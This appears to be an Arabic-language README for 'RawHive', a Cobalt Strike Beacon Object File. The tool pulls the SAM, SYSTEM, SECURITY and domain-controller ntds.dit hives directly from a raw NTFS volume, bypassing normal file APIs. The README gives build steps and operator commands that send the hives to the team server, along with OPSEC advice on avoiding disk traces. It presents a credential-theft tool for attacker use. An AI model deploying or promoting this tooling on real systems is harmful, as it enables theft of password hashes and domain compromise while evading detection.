nmht3t/rawhiveCobalt Strike BOF الذي يستخرج أقسام السجل المحددة من ويندوز مباشرة من حجم NTFS خام عن طريق تحليل بيانات NTFS الوصفية وقراءة بيانات الملف مباشرة من القرص.
RawHive هو BOF لـ Cobalt Strike لسحب خلايا سجل Windows المحددة مباشرة من وحدة تخزين NTFS خام. يتخطى واجهات برمجة التطبيقات العادية للملفات، ويتنقل في بيانات NTFS الوصفية للعثور على سجلات الملفات المستهدفة، ويقرأ البايتات مباشرة من القرص.
الأهداف:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (وحدات التحكم بالمجال فقط)أي حرف محرك أقراص NTFS محلي يعمل؛ الافتراضي هو C:.
\\.\C:) ويقرأ قطاع الإقلاع لتحديد موقع $MFT.Windows وSystem32 وconfig والملفات المستهدفة، مع فحص MFT محدود كخيار احتياطي.x86_64-w64-mingw32-gcc وmake للبناء.make
يبني dist/rawhive.x64.o. يقوم rawhive.cna بتحميل الكائن من dist/، لذا أعد البناء بعد تغيير rawhive.c.
وضع التنزيل هو الافتراضي: تُقرأ الخلايا مباشرة من وحدة التخزين الخام وتُدفع إلى team server عبر واجهة BeaconDownload API. لا شيء يلمس قرص الهدف.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
وضع الكتابة على القرص يحفظ ملفات .tmp إلى دليل على الهدف. لاحظ أن هذا يلمس القرص وقد لا يكون آمناً من ناحية opsec؛ فضّل وضع التنزيل إلا إذا كنت بحاجة تحديداً إلى إنزال الملفات محلياً.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
يمكن كتابة وحدة التخزين كـ C أو c أو C:. يجب أن يكون دليل الإخراج موجوداً بالفعل.
تُسمى الملفات <host>_<timestamp>_<hive>.tmp:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
في وضع التنزيل تظهر في صينية التنزيل الخاصة بـ Cobalt Strike؛ وفي وضع الكتابة على القرص تهبط في دليل الإخراج المحدد.
